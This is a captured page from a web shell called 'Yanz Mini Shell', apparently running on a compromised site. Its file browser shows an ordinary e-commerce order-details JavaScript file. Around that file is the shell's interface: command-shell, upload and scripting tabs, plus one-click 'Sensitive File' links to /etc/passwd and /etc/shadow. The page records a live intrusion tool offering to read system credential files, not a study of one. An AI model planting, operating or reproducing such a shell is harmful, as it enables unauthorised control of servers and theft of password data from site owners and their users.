Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
sparkline
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
/** * app-ecommerce-order-details Script */ 'use strict'; // Datatable (jquery) $(function () { // Variable declaration for table var dt_details_table = $('.datatables-order-details'); // E-commerce Products datatable if (dt_details_table.length) { var dt_products = dt_details_table.DataTable({ ajax: assetsPath + 'json/ecommerce-order-details.json', // JSON file to add data columns: [ // columns according to JSON { data: 'id' }, { data: 'id' }, { data: 'product_name' }, { data: 'price' }, { data: 'qty' }, { data: '' } ], columnDefs: [ { // For Responsive className: 'control', searchable: false, orderable: false, responsivePriority: 2, targets: 0, render: function (data, type, full, meta) { return ''; } }, { // For Checkboxes targets: 1, orderable: false, checkboxes: { selectAllRender: '<input type="checkbox" class="form-check-input">' }, render: function () { return '<input type="checkbox" class="dt-checkboxes form-check-input" >'; }, searchable: false }, { // Product name and product info targets: 2, responsivePriority: 1, searchable: false, orderable: false, render: function (data, type, full, meta) { var $name = full['product_name'], $product_brand = full['product_info'], $image = full['image']; if ($image) { // For Product image var $output = '<img src="' + assetsPath + 'img/products/' + $image + '" alt="product-' + $name + '" class="rounded-2">'; } else { // For Product badge var stateNum = Math.floor(Math.random() * 6); var states = ['success', 'danger', 'warning', 'info', 'dark', 'primary', 'secondary']; var $state = states[stateNum], $name = full['product_name'], $initials = $name.match(/\b\w/g) || []; $initials = (($initials.shift() || '') + ($initials.pop() || '')).toUpperCase(); $output = '<span class="avatar-initial rounded-2 bg-label-' + $state + '">' + $initials + '</span>'; } // Creates full output for Product name and product_brand var $row_output = '<div class="d-flex justify-content-start align-items-center product-name">' + '<div class="avatar-wrapper me-3">' + '<div class="avatar avatar-sm rounded bg-label-secondary">' + $output + '</div>' + '</div>' + '<div class="d-flex flex-column">' + '<span class="text-nowrap text-heading fw-medium">' + $name + '</span>' + '<small class="text-truncate d-none d-sm-block">' + $product_brand + '</small>' + '</div>' + '</div>'; return $row_output; } }, { // For Price targets: 3, searchable: false, orderable: false, render: function (data, type, full, meta) { var $price = full['price']; var $output = '<span>$' + $price + '</span>'; return $output; } }, { // For Qty targets: 4, searchable: false, orderable: false, render: function (data, type, full, meta) { var $qty = full['qty']; var $output = '<span>' + $qty + '</span>'; return $output; } }, { // Total targets: 5, searchable: false, orderable: false, render: function (data, type, full, meta) { var $total = full['qty'] * full['price']; var $output = '<span>$' + $total + '</span>'; return $output; } } ], order: [2, ''], //set any columns order asc/desc dom: 't', // For responsive popup responsive: { details: { display: $.fn.dataTable.Responsive.display.modal({ header: function (row) { var data = row.data(); return 'Details of ' + data['full_name']; } }), type: 'column', renderer: function (api, rowIdx, columns) { var data = $.map(columns, function (col, i) { return col.title !== '' // ? Do not show row in modal popup if title is blank (for check box) ? '<tr data-dt-row="' + col.rowIndex + '" data-dt-column="' + col.columnIndex + '">' + '<td>' + col.title + ':' + '</td> ' + '<td>' + col.data + '</td>' + '</tr>' : ''; }).join(''); return data ? $('<table class="table"/><tbody />').append(data) : false; } } } }); } // Filter form control to default size // ? setTimeout used for multilingual table initialization setTimeout(() => { $('.dataTables_filter .form-control').removeClass('form-control-sm'); $('.dataTables_length .form-select').removeClass('form-select-sm'); }, 300); }); //sweet alert (function () { const deleteOrder = document.querySelector('.delete-order'); // Suspend User javascript if (deleteOrder) { deleteOrder.onclick = function () { Swal.fire({ title: 'Are you sure?', text: "You won't be able to revert order!", icon: 'warning', showCancelButton: true, confirmButtonText: 'Yes, Delete order!', customClass: { confirmButton: 'btn btn-primary me-2 waves-effect waves-light', cancelButton: 'btn btn-outline-secondary waves-effect waves-light' }, buttonsStyling: false }).then(function (result) { if (result.value) { Swal.fire({ icon: 'success', title: 'Deleted!', text: 'Order has been removed.', customClass: { confirmButton: 'btn btn-success waves-effect waves-light' } }); } else if (result.dismiss === Swal.DismissReason.cancel) { Swal.fire({ title: 'Cancelled', text: 'Cancelled Delete :)', icon: 'error', customClass: { confirmButton: 'btn btn-success waves-effect waves-light' } }); } }); }; } //for custom year function getCurrentYear() { var currentYear = new Date().getFullYear(); return currentYear; } var year = getCurrentYear(); document.getElementById('orderYear').innerHTML = year; })();
Free Space : 11116642304 Byte